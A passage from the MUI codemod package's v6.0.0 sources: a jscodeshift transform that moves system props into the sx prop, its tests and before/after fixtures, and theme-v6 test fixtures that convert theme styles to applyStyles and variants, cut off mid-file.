    "path": "packages/mui-codemod/src/v6.0.0/system-props/removeSystemProps.js",
    "content": "// from `packages/mui-system/src/styleFunctionSx/defaultSxConfig.js`\nconst defaultSxConfig = {\n  // borders\n  border: {},\n  borderTop: {},\n  borderRight: {},\n  borderBottom: {},\n  borderLeft: {},\n  borderColor: {},\n  borderTopColor: {},\n  borderRightColor: {},\n  borderBottomColor: {},\n  borderLeftColor: {},\n  outline: {},\n  outlineColor: {},\n  borderRadius: {},\n  color: {},\n  bgcolor: {},\n  backgroundColor: {},\n  p: {},\n  pt: {},\n  pr: {},\n  pb: {},\n  pl: {},\n  px: {},\n  py: {},\n  padding: {},\n  paddingTop: {},\n  paddingRight: {},\n  paddingBottom: {},\n  paddingLeft: {},\n  paddingX: {},\n  paddingY: {},\n  paddingInline: {},\n  paddingInlineStart: {},\n  paddingInlineEnd: {},\n  paddingBlock: {},\n  paddingBlockStart: {},\n  paddingBlockEnd: {},\n\n  m: {},\n  mt: {},\n  mr: {},\n  mb: {},\n  ml: {},\n  mx: {},\n  my: {},\n  margin: {},\n  marginTop: {},\n  marginRight: {},\n  marginBottom: {},\n  marginLeft: {},\n  marginX: {},\n  marginY: {},\n  marginInline: {},\n  marginInlineStart: {},\n  marginInlineEnd: {},\n  marginBlock: {},\n  marginBlockStart: {},\n  marginBlockEnd: {},\n\n  // display\n  displayPrint: {},\n  display: {},\n  overflow: {},\n  textOverflow: {},\n  visibility: {},\n  whiteSpace: {},\n\n  // flexbox\n  flexBasis: {},\n  flexDirection: {},\n  flexWrap: {},\n  justifyContent: {},\n  alignItems: {},\n  alignContent: {},\n  order: {},\n  flex: {},\n  flexGrow: {},\n  flexShrink: {},\n  alignSelf: {},\n  justifyItems: {},\n  justifySelf: {},\n\n  // grid\n  gap: {},\n  rowGap: {},\n  columnGap: {},\n  gridColumn: {},\n  gridRow: {},\n  gridAutoFlow: {},\n  gridAutoColumns: {},\n  gridAutoRows: {},\n  gridTemplateColumns: {},\n  gridTemplateRows: {},\n  gridTemplateAreas: {},\n  gridArea: {},\n\n  // positions\n  position: {},\n  zIndex: {},\n  top: {},\n  right: {},\n  bottom: {},\n  left: {},\n\n  // shadows\n  boxShadow: {},\n\n  // sizing\n  width: {},\n  maxWidth: {},\n  minWidth: {},\n  height: {},\n  maxHeight: {},\n  minHeight: {},\n  boxSizing: {},\n\n  // typography\n  font: {},\n  fontFamily: {},\n  fontSize: {},\n  fontStyle: {},\n  fontWeight: {},\n  letterSpacing: {},\n  textTransform: {},\n  lineHeight: {},\n  textAlign: {},\n  typography: {},\n};\nconst systemProps = Object.keys(defaultSxConfig);\nconst components = ['Box', 'Stack', 'Typography', 'Link', 'Grid', 'Grid2'];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function removeSystemProps(file, api, options) {\n  if (file.path?.endsWith('.json') || file.path?.endsWith('.d.ts')) {\n    return file.source;\n  }\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  const deprecatedElements = [];\n  const customReplacement = {\n    Typography: {\n      matcher: (key, val) =>\n        key !== 'color' ||\n        (val.value?.includes('.') && val.value !== 'inherit') ||\n        val.value === 'divider' ||\n        val.value.startsWith('#') ||\n        val.value.match(/\\(.*\\)/),\n    },\n    Link: {\n      matcher: (key) => key !== 'color',\n    },\n  };\n  const elementReplacement = {};\n\n  root\n    .find(j.ImportDeclaration, (decl) => decl.source.value.includes('@mui'))\n    .forEach((decl) => {\n      decl.node.specifiers.forEach((spec) => {\n        if (spec.type === 'ImportSpecifier') {\n          const name = spec.imported.name;\n          if (components.includes(name)) {\n            deprecatedElements.push(spec.local.name);\n            if (customReplacement[name]) {\n              elementReplacement[spec.local.name] = customReplacement[name];\n            }\n          }\n        }\n        if (spec.type === 'ImportDefaultSpecifier') {\n          const name = decl.node.source.value.split('/').pop();\n          if (components.includes(name)) {\n            deprecatedElements.push(spec.local.name);\n            if (customReplacement[name]) {\n              elementReplacement[spec.local.name] = customReplacement[name];\n            }\n          }\n        }\n      });\n    });\n\n  root\n    .find(j.JSXElement, {\n      openingElement: {\n        name: {\n          name: (name) => {\n            return deprecatedElements.includes(name);\n          },\n        },\n      },\n    })\n    .forEach((el) => {\n      const sx = j.objectExpression([]);\n      const elementName = el.value?.openingElement?.name?.name;\n\n      const sxNodes = j(el)\n        .find(j.JSXAttribute)\n        .filter((path) => path.parent.parent.node === el.node && path.node.name.name === 'sx');\n\n      const sxNodesArray = sxNodes.nodes() || [];\n      const existingSxValue = sxNodesArray[0]?.value?.expression;\n\n      let spreadElement = null;\n      el.node.openingElement.attributes.forEach((attr) => {\n        if (attr.type === 'JSXSpreadAttribute') {\n          spreadElement = attr;\n        }\n      });\n\n      const attrToPrune = ['sx'];\n      el.node.openingElement.attributes.forEach((attr) => {\n        if (\n          attr.type === 'JSXSpreadAttribute' ||\n          !attr.value ||\n          !systemProps.includes(attr?.name?.name)\n        ) {\n          return;\n        }\n        const key = attr?.name?.name;\n        const literal = attr?.value;\n        const val = literal.type === 'JSXExpressionContainer' ? literal.expression : literal;\n        const shouldPrune =\n          !elementReplacement[elementName] || elementReplacement[elementName].matcher(key, val);\n        if (key && val) {\n          if (shouldPrune) {\n            sx.properties.push(j.property('init', j.identifier(key), val));\n            attrToPrune.push(key);\n          }\n        }\n      });\n\n      if (sx.properties.length) {\n        el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n          (attr) => attr.type !== 'JSXAttribute' || !attrToPrune.includes(attr?.name?.name),\n        );\n\n        let finalSx;\n        if (!existingSxValue) {\n          finalSx = sx;\n        } else if (existingSxValue?.type === 'ObjectExpression') {\n          sx.properties.push(...existingSxValue.properties);\n          finalSx = sx;\n        } else if (existingSxValue?.type === 'ArrayExpression') {\n          existingSxValue.elements = [sx, ...existingSxValue.elements];\n          finalSx = existingSxValue;\n        } else {\n          finalSx = j.arrayExpression([\n            sx,\n            existingSxValue.type === 'Identifier'\n              ? j.spreadElement(\n                  j.conditionalExpression(\n                    j.callExpression(\n                      j.memberExpression(j.identifier('Array'), j.identifier('isArray')),\n                      [existingSxValue],\n                    ),\n                    existingSxValue,\n                    j.arrayExpression([existingSxValue]),\n                  ),\n                )\n              : existingSxValue,\n          ]);\n        }\n\n        if (spreadElement && spreadElement.argument.type === 'Identifier') {\n          if (finalSx.type === 'ObjectExpression') {\n            const propSx = j.memberExpression(spreadElement.argument, j.identifier('sx'));\n            finalSx = j.arrayExpression([\n              finalSx,\n              j.spreadElement(\n                j.conditionalExpression(\n                  j.callExpression(\n                    j.memberExpression(j.identifier('Array'), j.identifier('isArray')),\n                    [propSx],\n                  ),\n                  propSx,\n                  j.arrayExpression([propSx]),\n                ),\n              ),\n            ]);\n          } else if (finalSx.type === 'ArrayExpression') {\n            finalSx.elements.push(j.memberExpression(spreadElement.argument, j.identifier('sx')));\n          }\n        }\n\n        el.node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('sx'), j.jsxExpressionContainer(finalSx)),\n        );\n      }\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/system-props/removeSystemProps.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './removeSystemProps';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v6.0.0 - removeSystemProps', () => {\n    it('transforms props as needed', () => {\n      const actual = transform(\n        { source: read('./test-cases/system-props.actual.js') },\n        { jscodeshift },\n        {},\n      );\n\n      const expected = read('./test-cases/system-props.expected.js');\n      expect(actual).to.equal(expected, 'The transformed version should be correct');\n    });\n\n    it('should be idempotent', () => {\n      const actual = transform(\n        { source: read('./test-cases/system-props.expected.js') },\n        { jscodeshift },\n        {},\n      );\n\n      const expected = read('./test-cases/system-props.expected.js');\n      expect(actual).to.equal(expected, 'The transformed version should be correct');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/system-props/test-cases/system-props.actual.js",
    "content": "import { Box as Boxxx, Grid as Griddd, Grid2 as Griddd2 } from '@mui/material';\nimport Typography from '@mui/material/Typography';\nimport Typographyyy from '@mui/material/Typography';\nimport Stackkk from '@mui/material/Stack';\n\n<Boxxx typography=\"body1\" />;\n<Boxxx color=\"palette.main\" sx={{ display: 'block' }} />;\n\n<Griddd container flexDirection={`column`} />;\n<Griddd2 container flexDirection={`column`} />;\n\nconst sx = { display: 'flex' };\nconst ml = 2;\n<Typography color=\"#fff\" mb={5} />;\n<Typography color=\"hsl(200 30% 30%)\" mb={5} />;\n<Typographyyy variant=\"body1\" color=\"primary.main\" ml={ml} sx={sx} />;\n<Typographyyy variant=\"body1\" color=\"divider\" ml={ml} sx={sx} />;\n<Typographyyy variant=\"body1\" color=\"inherit\" ml={ml} sx={sx} />;\n<Typographyyy\n  fontSize=\"xl4\"\n  lineHeight={1}\n  startDecorator={\n    <Typographyyy fontSize=\"lg\" textColor=\"text.secondary\">\n      $\n    </Typographyyy>\n  }\n  sx={{ alignItems: 'flex-start' }}\n>\n  25\n</Typographyyy>;\nfunction Copyright(props) {\n  return (\n    <Typographyyy variant=\"body2\" color=\"text.secondary\" align=\"center\" {...props}>\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typographyyy>\n  );\n}\n\n<Stackkk flex=\"1\" sx={[...(Array.isArray(sx) ? sx : [sx])]} />;\n\n<Boxxx typography=\"body1\" sx={foo.bar ? { opacity: 0 } : sx} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/system-props/test-cases/system-props.expected.js",
    "content": "import { Box as Boxxx, Grid as Griddd, Grid2 as Griddd2 } from '@mui/material';\nimport Typography from '@mui/material/Typography';\nimport Typographyyy from '@mui/material/Typography';\nimport Stackkk from '@mui/material/Stack';\n\n<Boxxx sx={{\n  typography: \"body1\"\n}} />;\n<Boxxx\n  sx={{\n    color: \"palette.main\",\n    display: 'block'\n  }} />;\n\n<Griddd container sx={{\n  flexDirection: `column`\n}} />;\n<Griddd2 container sx={{\n  flexDirection: `column`\n}} />;\n\nconst sx = { display: 'flex' };\nconst ml = 2;\n<Typography\n  sx={{\n    color: \"#fff\",\n    mb: 5\n  }} />;\n<Typography\n  sx={{\n    color: \"hsl(200 30% 30%)\",\n    mb: 5\n  }} />;\n<Typographyyy\n  variant=\"body1\"\n  sx={[{\n    color: \"primary.main\",\n    ml: ml\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n<Typographyyy\n  variant=\"body1\"\n  sx={[{\n    color: \"divider\",\n    ml: ml\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n<Typographyyy\n  variant=\"body1\"\n  color=\"inherit\"\n  sx={[{\n    ml: ml\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n<Typographyyy\n  startDecorator={\n    <Typographyyy textColor=\"text.secondary\" sx={{\n      fontSize: \"lg\"\n    }}>\n      $\n    </Typographyyy>\n  }\n  sx={{\n    fontSize: \"xl4\",\n    lineHeight: 1,\n    alignItems: 'flex-start'\n  }}>\n  25\n</Typographyyy>;\nfunction Copyright(props) {\n  return (\n    <Typographyyy\n      variant=\"body2\"\n      align=\"center\"\n      {...props}\n      sx={[{\n        color: \"text.secondary\"\n      }, ...(Array.isArray(props.sx) ? props.sx : [props.sx])]}>\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typographyyy>\n  );\n}\n\n<Stackkk\n  sx={[{\n    flex: \"1\"\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n\n<Boxxx\n  sx={[{\n    typography: \"body1\"\n  }, foo.bar ? { opacity: 0 } : sx]} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/theme-v6/index.js",
    "content": "export { default } from './theme-v6';\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/theme-v6/test-cases/basicTheme.actual.js",
    "content": "export default function getCheckoutTheme(mode) {\n  return {\n    ...getDesignTokens(mode),\n    components: {\n      MuiAlert: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            borderRadius: 10,\n            backgroundColor: orange[100],\n            color: theme.palette.text.primary,\n            border: `1px solid ${alpha(orange[300], 0.5)}`,\n            '& .MuiAlert-icon': {\n              color: orange[500],\n            },\n            ...(theme.palette.mode === 'dark' && {\n              backgroundColor: `${alpha(orange[900], 0.5)}`,\n              border: `1px solid ${alpha(orange[800], 0.5)}`,\n            }),\n          }),\n        },\n      },\n      MuiButtonBase: {\n        defaultProps: {\n          disableTouchRipple: true,\n          disableRipple: true,\n        },\n        styleOverrides: {\n          root: {\n            boxSizing: 'border-box',\n            transition: 'all 100ms ease',\n            '&:focus-visible': {\n              outline: `3px solid ${alpha(brand[400], 0.5)}`,\n              outlineOffset: '2px',\n            },\n          },\n        },\n      },\n      MuiButton: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            boxShadow: 'none',\n            borderRadius: theme.shape.borderRadius,\n            textTransform: 'none',\n            ...(ownerState.size === 'small' && {\n              height: '2rem', // 32px\n              padding: '0 0.5rem',\n            }),\n            ...(ownerState.size === 'medium' && {\n              height: '2.5rem', // 40px\n            }),\n            ...(ownerState.variant === 'contained' &&\n              ownerState.color === 'primary' && {\n                color: 'white',\n                backgroundColor: brand[300],\n                backgroundImage: `linear-gradient(to bottom, ${alpha(brand[400], 0.8)}, ${brand[500]})`,\n                boxShadow: `inset 0 2px 0 ${alpha(brand[200], 0.2)}, inset 0 -2px 0 ${alpha(brand[700], 0.4)}`,\n                border: `1px solid ${brand[500]}`,\n                '&:hover': {\n                  backgroundColor: brand[700],\n                  boxShadow: 'none',\n                },\n                '&:active': {\n                  backgroundColor: brand[700],\n                  boxShadow: `inset 0 2.5px 0 ${alpha(brand[700], 0.4)}`,\n                },\n              }),\n            ...(ownerState.variant === 'outlined' && {\n              color: brand[700],\n              backgroundColor: alpha(brand[300], 0.1),\n              borderColor: alpha(brand[200], 0.8),\n              boxShadow: `inset 0 2px ${alpha(brand[50], 0.5)}, inset 0 -2px ${alpha(brand[200], 0.2)}`,\n              '&:hover': {\n                backgroundColor: alpha(brand[300], 0.2),\n                borderColor: alpha(brand[300], 0.5),\n                boxShadow: 'none',\n              },\n              '&:active': {\n                backgroundColor: alpha(brand[300], 0.3),\n                boxShadow: `inset 0 2.5px 0 ${alpha(brand[400], 0.2)}`,\n                backgroundImage: 'none',\n              },\n            }),\n            ...(ownerState.variant === 'outlined' &&\n              ownerState.color === 'secondary' && {\n                backgroundColor: alpha(gray[300], 0.1),\n                borderColor: alpha(gray[300], 0.5),\n                color: gray[700],\n                '&:hover': {\n                  backgroundColor: alpha(gray[300], 0.3),\n                  borderColor: alpha(gray[300], 0.5),\n                  boxShadow: 'none',\n                },\n                '&:active': {\n                  backgroundColor: alpha(gray[300], 0.4),\n                  boxShadow: `inset 0 2.5px 0 ${alpha(gray[400], 0.2)}`,\n                  backgroundImage: 'none',\n                },\n              }),\n            ...(ownerState.variant === 'text' &&\n              ownerState.color === 'primary' && {\n                color: brand[700],\n                '&:hover': {\n                  backgroundColor: alpha(brand[300], 0.3),\n                },\n              }),\n            ...(ownerState.variant === 'text' &&\n              ownerState.color === 'info' && {\n                color: gray[700],\n                '&:hover': {\n                  backgroundColor: alpha(gray[300], 0.3),\n                },\n              }),\n            ...(theme.palette.mode === 'dark' && {\n              ...(ownerState.variant === 'outlined' && {\n                color: brand[200],\n                backgroundColor: alpha(brand[600], 0.1),\n                borderColor: alpha(brand[600], 0.6),\n                boxShadow: `inset 0 2.5px ${alpha(brand[400], 0.1)}, inset 0 -2px ${alpha(gray[900], 0.5)}`,\n                '&:hover': {\n                  backgroundColor: alpha(brand[700], 0.2),\n                  borderColor: alpha(brand[700], 0.5),\n                  boxShadow: 'none',\n                },\n                '&:active': {\n                  backgroundColor: alpha(brand[800], 0.2),\n                  boxShadow: `inset 0 2.5px 0 ${alpha(brand[900], 0.4)}`,\n                  backgroundImage: 'none',\n                },\n              }),\n              ...(ownerState.variant === 'text' &&\n                ownerState.color === 'info' && {\n                  color: gray[200],\n                  '&:hover': {\n                    backgroundColor: alpha(gray[700], 0.3),\n                  },\n                }),\n              ...(ownerState.variant === 'outlined' &&\n                ownerState.color === 'secondary' && {\n                  color: gray[300],\n                  backgroundColor: alpha(gray[600], 0.1),\n                  borderColor: alpha(gray[700], 0.5),\n                  boxShadow: `inset 0 2.5px ${alpha(gray[600], 0.1)}, inset 0 -2px ${alpha(gray[900], 0.5)}`,\n                  '&:hover': {\n                    backgroundColor: alpha(gray[700], 0.2),\n                    borderColor: alpha(gray[700], 0.5),\n                    boxShadow: 'none',\n                  },\n                  '&:active': {\n                    backgroundColor: alpha(gray[800], 0.2),\n                    boxShadow: `inset 0 2.5px 0 ${alpha(gray[900], 0.4)}`,\n                    backgroundImage: 'none',\n                  },\n                }),\n              ...(ownerState.variant === 'text' &&\n                ownerState.color === 'primary' && {\n                  color: brand[200],\n                  '&:hover': {\n                    backgroundColor: alpha(brand[700], 0.3),\n                  },\n                }),\n            }),\n          }),\n        },\n      },\n      MuiCard: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            transition: 'all 100ms ease',\n            backgroundColor: gray[50],\n            borderRadius: theme.shape.borderRadius,\n            border: `1px solid ${alpha(gray[200], 0.5)}`,\n            boxShadow: 'none',\n            ...(ownerState.variant === 'outlined' && {\n              border: `1px solid ${gray[200]}`,\n              boxShadow: 'none',\n              background: `linear-gradient(to bottom, hsl(0, 0%, 100%), ${gray[50]})`,\n            }),\n            ...(theme.palette.mode === 'dark' && {\n              backgroundColor: alpha(gray[800], 0.6),\n              border: `1px solid ${alpha(gray[700], 0.3)}`,\n              ...(ownerState.variant === 'outlined' && {\n                border: `1px solid ${alpha(gray[700], 0.4)}`,\n                boxShadow: 'none',\n                background: `linear-gradient(to bottom, ${gray[900]}, ${alpha(gray[800], 0.5)})`,\n              }),\n            }),\n          }),\n        },\n      },\n      MuiCheckbox: {\n        defaultProps: {\n          disableRipple: true,\n          icon: <CheckBoxOutlineBlankRoundedIcon sx={{ color: 'hsla(210, 0%, 0%, 0.0)' }} />,\n          checkedIcon: <CheckRoundedIcon sx={{ height: 14, width: 14 }} />,\n        },\n        styleOverrides: {\n          root: ({ theme }) => ({\n            margin: 10,\n            height: 16,\n            width: 16,\n            borderRadius: 5,\n            border: '1px solid ',\n            borderColor: alpha(gray[300], 0.8),\n            boxShadow: '0 0 0 1.5px hsla(210, 0%, 0%, 0.04) inset',\n            transition: 'border-color 120ms ease-in',\n            backgroundColor: alpha(gray[100], 0.4),\n            '&:hover': {\n              borderColor: brand[300],\n            },\n            '&.Mui-focusVisible': {\n              outline: `3px solid ${alpha(brand[500], 0.5)}`,\n              outlineOffset: '2px',\n              borderColor: brand[400],\n            },\n            '&.Mui-checked': {\n              color: 'white',\n              backgroundColor: brand[500],\n              borderColor: brand[500],\n              boxShadow: `none`,\n              '&:hover': {\n                backgroundColor: brand[600],\n              },\n            },\n            ...(theme.palette.mode === 'dark' && {\n              borderColor: alpha(gray[700], 0.5),\n              boxShadow: '0 0 0 1.5px hsl(210, 0%, 0%) inset',\n              backgroundColor: alpha(gray[900], 0.8),\n              '&:hover': {\n                borderColor: brand[300],\n              },\n              '&.Mui-focusVisible': {\n                borderColor: brand[400],\n                outline: `3px solid ${alpha(brand[500], 0.5)}`,\n                outlineOffset: '2px',\n              },\n            }),\n          }),\n        },\n      },\n      MuiDivider: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            borderColor: `${alpha(gray[200], 0.8)}`,\n            ...(theme.palette.mode === 'dark' && {\n              borderColor: `${alpha(gray[700], 0.4)}`,\n            }),\n          }),\n        },\n      },\n      MuiFormLabel: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            typography: theme.typography.caption,\n            marginBottom: 8,\n          }),\n        },\n      },\n      MuiIconButton: {\n        styleOverrides: {\n          root: ({ theme, ownerState }) => ({\n            ...(ownerState.size === 'small' && {\n              height: '2rem',\n              width: '2rem',\n            }),\n            ...(ownerState.size === 'medium' && {\n              height: '2.5rem',\n              width: '2.5rem',\n            }),\n            color: brand[500],\n            '&:hover': {\n              backgroundColor: alpha(brand[300], 0.3),\n              borderColor: brand[200],\n            },\n            ...(theme.palette.mode === 'dark' && {\n              color: brand[200],\n              '&:hover': {\n                backgroundColor: alpha(brand[600], 0.3),\n                borderColor: brand[700],\n              },\n            }),\n          }),\n        },\n      },\n      MuiInputBase: {\n        styleOverrides: {\n          root: {\n            border: 'none',\n          },\n        },\n      },\n      MuiLink: {\n        defaultProps: {\n          underline: 'none',\n        },\n        styleOverrides: {\n          root: ({ theme }) => ({\n            color: brand[700],\n            fontWeight: 500,\n            position: 'relative',\n            textDecoration: 'none',\n            '&::before': {\n              content: '\"\"',\n              position: 'absolute',\n              width: 0,\n              height: '1px',\n              bottom: 0,\n              left: 0,\n              backgroundColor: brand[200],\n              opacity: 0.7,\n              transition: 'width 0.3s ease, opacity 0.3s ease',\n            },\n            '&:hover::before': {\n              width: '100%',\n              opacity: 1,\n            },\n            '&:focus-visible': {\n              outline: `3px solid ${alpha(brand[500], 0.5)}`,\n              outlineOffset: '4px',\n              borderRadius: '2px',\n            },\n            ...(theme.palette.mode === 'dark' && {\n              color: brand[200],\n            }),\n          }),\n        },\n      },\n      MuiOutlinedInput: {\n        styleOverrides: {\n          notchedOutline: {\n            border: 'none',\n          },\n          input: {\n            paddingLeft: 10,\n          },\n          root: ({ theme, ownerState }) => ({\n            'input:-webkit-autofill': {\n              WebkitBoxShadow: `0 0 0 1000px ${brand[100]} inset, 0 0 0 1px ${brand[200]}`,\n              maxHeight: '4px',\n              borderRadius: '8px',\n            },\n            '& .MuiInputBase-input': {\n              fontSize: '1rem',\n              '&::placeholder': {\n                opacity: 0.7,\n                color: gray[500],\n              },\n            },\n            boxSizing: 'border-box',\n            flexGrow: 1,\n            height: '40px',\n            borderRadius: theme.shape.borderRadius,\n            border: '1px solid',\n            borderColor: alpha(gray[300], 0.8),\n            boxShadow: '0 0 0 1.5px hsla(210, 0%, 0%, 0.02) inset',\n            transition: 'border-color 120ms ease-in',\n            backgroundColor: alpha(gray[100], 0.4),\n            '&:hover': {\n              borderColor: brand[300],\n            },\n            '&.Mui-focused': {\n              outline: `3px solid ${alpha(brand[500], 0.5)}`,\n              outlineOffset: '2px',\n              borderColor: brand[400],\n            },\n            ...(ownerState.color === 'error' && {\n              borderColor: red[200],\n              color: red[500],\n              '& + .MuiFormHelperText-root': {\n                color: red[500],\n              },\n            }),\n            ...(theme.palette.mode === 'dark' && {\n              'input:-webkit-autofill': {\n                WebkitBoxShadow: `0 0 0 1000px ${brand[900]} inset, 0 0 0 1px ${brand[600]}`,\n                maxHeight: '6px',\n                borderRadius: '8px',\n              },\n              '& .MuiInputBase-input': {\n                fontSize: '1rem',\n                '&::placeholder': {\n                  opacity: 1,\n                  color: gray[500],\n                },\n              },\n              borderColor: alpha(gray[700], 0.5),\n              boxShadow: '0 0 0 1.5px hsl(210, 0%, 0%) inset',\n              backgroundColor: alpha(gray[900], 0.8),\n              transition: 'border-color 120ms ease-in',\n              '&:hover': {\n                borderColor: brand[300],\n              },\n              '&.Mui-focused': {\n                borderColor: brand[400],\n                outline: `3px solid ${alpha(brand[500], 0.5)}`,\n                outlineOffset: '2px',\n              },\n              ...(ownerState.color === 'error' && {\n                borderColor: red[700],\n                color: red[300],\n                '& + .MuiFormHelperText-root': {\n                  color: red[300],\n                },\n              }),\n            }),\n          }),\n        },\n      },\n      MuiPaper: {\n        defaultProps: {\n          elevation: 0,\n        },\n      },\n      MuiStack: {\n        defaultProps: {\n          useFlexGap: true,\n        },\n      },\n      MuiStepConnector: {\n        styleOverrides: {\n          line: ({ theme }) => ({\n            borderTop: '1px solid',\n            borderColor: theme.palette.divider,\n            flex: 1,\n            borderRadius: '99px',\n          }),\n        },\n      },\n      MuiStepIcon: {\n        variants: [\n          {\n            props: { completed: true },\n            style: () => ({\n              width: 12,\n              height: 12,\n            }),\n          },\n        ],\n        styleOverrides: {\n          root: ({ theme }) => ({\n            color: 'transparent',\n            border: `1px solid ${gray[400]}`,\n            width: 12,\n            height: 12,\n            borderRadius: '50%',\n            '& text': {\n              display: 'none',\n            },\n            '&.Mui-active': {\n              border: 'none',\n              color: theme.palette.primary.main,\n            },\n            '&.Mui-completed': {\n              border: 'none',\n              color: theme.palette.success.main,\n            },\n            ...(theme.palette.mode === 'dark' && {\n              border: `1px solid ${gray[700]}`,\n              '&.Mui-active': {\n                border: 'none',\n                color: theme.palette.primary.light,\n              },\n              '&.Mui-completed': {\n                border: 'none',\n                color: theme.palette.success.light,\n              },\n            }),\n          }),\n        },\n      },\n      MuiStepLabel: {\n        styleOverrides: {\n          label: ({ theme }) => ({\n            '&.Mui-completed': {\n              opacity: 0.6,\n              ...(theme.palette.mode === 'dark' && { opacity: 0.5 }),\n            },\n          }),\n        },\n      },\n      MuiToggleButtonGroup: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            borderRadius: theme.shape.borderRadius,\n            boxShadow: `0 1px 2px hsla(210, 0%, 0%, 0.05), 0 2px 12px ${alpha(brand[200], 0.5)}`,\n            '& .Mui-selected': {\n              color: brand[500],\n            },\n            ...(theme.palette.mode === 'dark' && {\n              '& .Mui-selected': {\n                color: 'hsl(0, 0%, 100%)',\n              },\n              boxShadow: `0 0 0 1px hsla(210, 0%, 0%, 0.5), 0 2px 12px ${alpha(brand[700], 0.5)}`,\n            }),\n          }),\n        },\n      },\n      MuiToggleButton: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            padding: '12px 16px',\n            textTransform: 'none',\n            borderRadius: theme.shape.borderRadius,\n            fontWeight: 500,\n            ...(theme.palette.mode === 'dark' && {\n              color: gray[400],\n              '&.Mui-selected': { color: brand[300] },\n            }),\n          }),\n        },\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v6.0.0/theme-v6/test-cases/basicTheme.expected.js",
    "content": "export default function getCheckoutTheme(mode) {\n  return {\n    ...getDesignTokens(mode),\n    components: {\n      MuiAlert: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            borderRadius: 10,\n            backgroundColor: orange[100],\n            color: theme.palette.text.primary,\n            border: `1px solid ${alpha(orange[300], 0.5)}`,\n            '& .MuiAlert-icon': {\n              color: orange[500],\n            },\n            ...theme.applyStyles(\"dark\", {\n              backgroundColor: `${alpha(orange[900], 0.5)}`,\n              border: `1px solid ${alpha(orange[800], 0.5)}`,\n            }),\n          }),\n        },\n      },\n      MuiButtonBase: {\n        defaultProps: {\n          disableTouchRipple: true,\n          disableRipple: true,\n        },\n        styleOverrides: {\n          root: {\n            boxSizing: 'border-box',\n            transition: 'all 100ms ease',\n            '&:focus-visible': {\n              outline: `3px solid ${alpha(brand[400], 0.5)}`,\n              outlineOffset: '2px',\n            },\n          },\n        },\n      },\n      MuiButton: {\n        styleOverrides: {\n          root: ({\n            theme\n          }) => ({\n            boxShadow: 'none',\n            borderRadius: theme.shape.borderRadius,\n            textTransform: 'none',\n            variants: [{\n              props: {\n                size: 'small'\n              },\n              style: {\n                height: '2rem', // 32px\n                padding: '0 0.5rem',\n              }\n            }, {\n              props: {\n                size: 'medium'\n              },\n              style: {\n                height: '2.5rem', // 40px\n              }\n            }, {\n              props: {\n                color: 'primary',\n                variant: 'contained'\n              },\n              style: {\n                  color: 'white',\n                  backgroundColor: brand[300],\n                  backgroundImage: `linear-gradient(to bottom, ${alpha(brand[400], 0.8)}, ${brand[500]})`,\n                  boxShadow: `inset 0 2px 0 ${alpha(brand[200], 0.2)}, inset 0 -2px 0 ${alpha(brand[700], 0.4)}`,\n                  border: `1px solid ${brand[500]}`,\n                  '&:hover': {\n                    backgroundColor: brand[700],\n                    boxShadow: 'none',\n                  },\n                  '&:active': {\n                    backgroundColor: brand[700],\n                    boxShadow: `inset 0 2.5px 0 ${alpha(brand[700], 0.4)}`,\n                  },\n                }\n            }, {\n              props: {\n                variant: 'outlined'\n              },\n              style: {\n                color: brand[700],\n                backgroundColor: alpha(brand[300], 0.1),\n                borderColor: alpha(brand[200], 0.8),\n                boxShadow: `inset 0 2px ${alpha(brand[50], 0.5)}, inset 0 -2px ${alpha(brand[200], 0.2)}`,\n                '&:hover': {\n                  backgroundColor: alpha(brand[300], 0.2),\n                  borderColor: alpha(brand[300], 0.5),\n                  boxShadow: 'none',\n                },\n                '&:active': {\n                  backgroundColor: alpha(brand[300], 0.3),\n                  boxShadow: `inset 0 2.5px 0 ${alpha(brand[400], 0.2)}`,\n                  backgroundImage: 'none',\n                },\n              }\n            }, {\n              props: {\n                color: 'secondary',\n                variant: 'outlined'\n              },\n              style: {\n                  backgroundColor: alpha(gray[300], 0.1),\n                  borderColor: alpha(gray[300], 0.5),\n                  color: gray[700],\n                  '&:hover': {\n                    backgroundColor: alpha(gray[300], 0.3),\n                    borderColor: alpha(gray[300], 0.5),\n                    boxShadow: 'none',\n                  },\n                  '&:active': {\n                    backgroundColor: alpha(gray[300], 0.4),\n                    boxShadow: `inset 0 2.5px 0 ${alpha(gray[400], 0.2)}`,\n                    backgroundImage: 'none',\n                  },\n                }\n            }, {\n              props: {\n                color: 'primary',\n                variant: 'text'\n              },\n              style: {\n                  color: brand[700],\n                  '&:hover': {\n                    backgroundColor: alpha(brand[300], 0.3),\n                  },\n                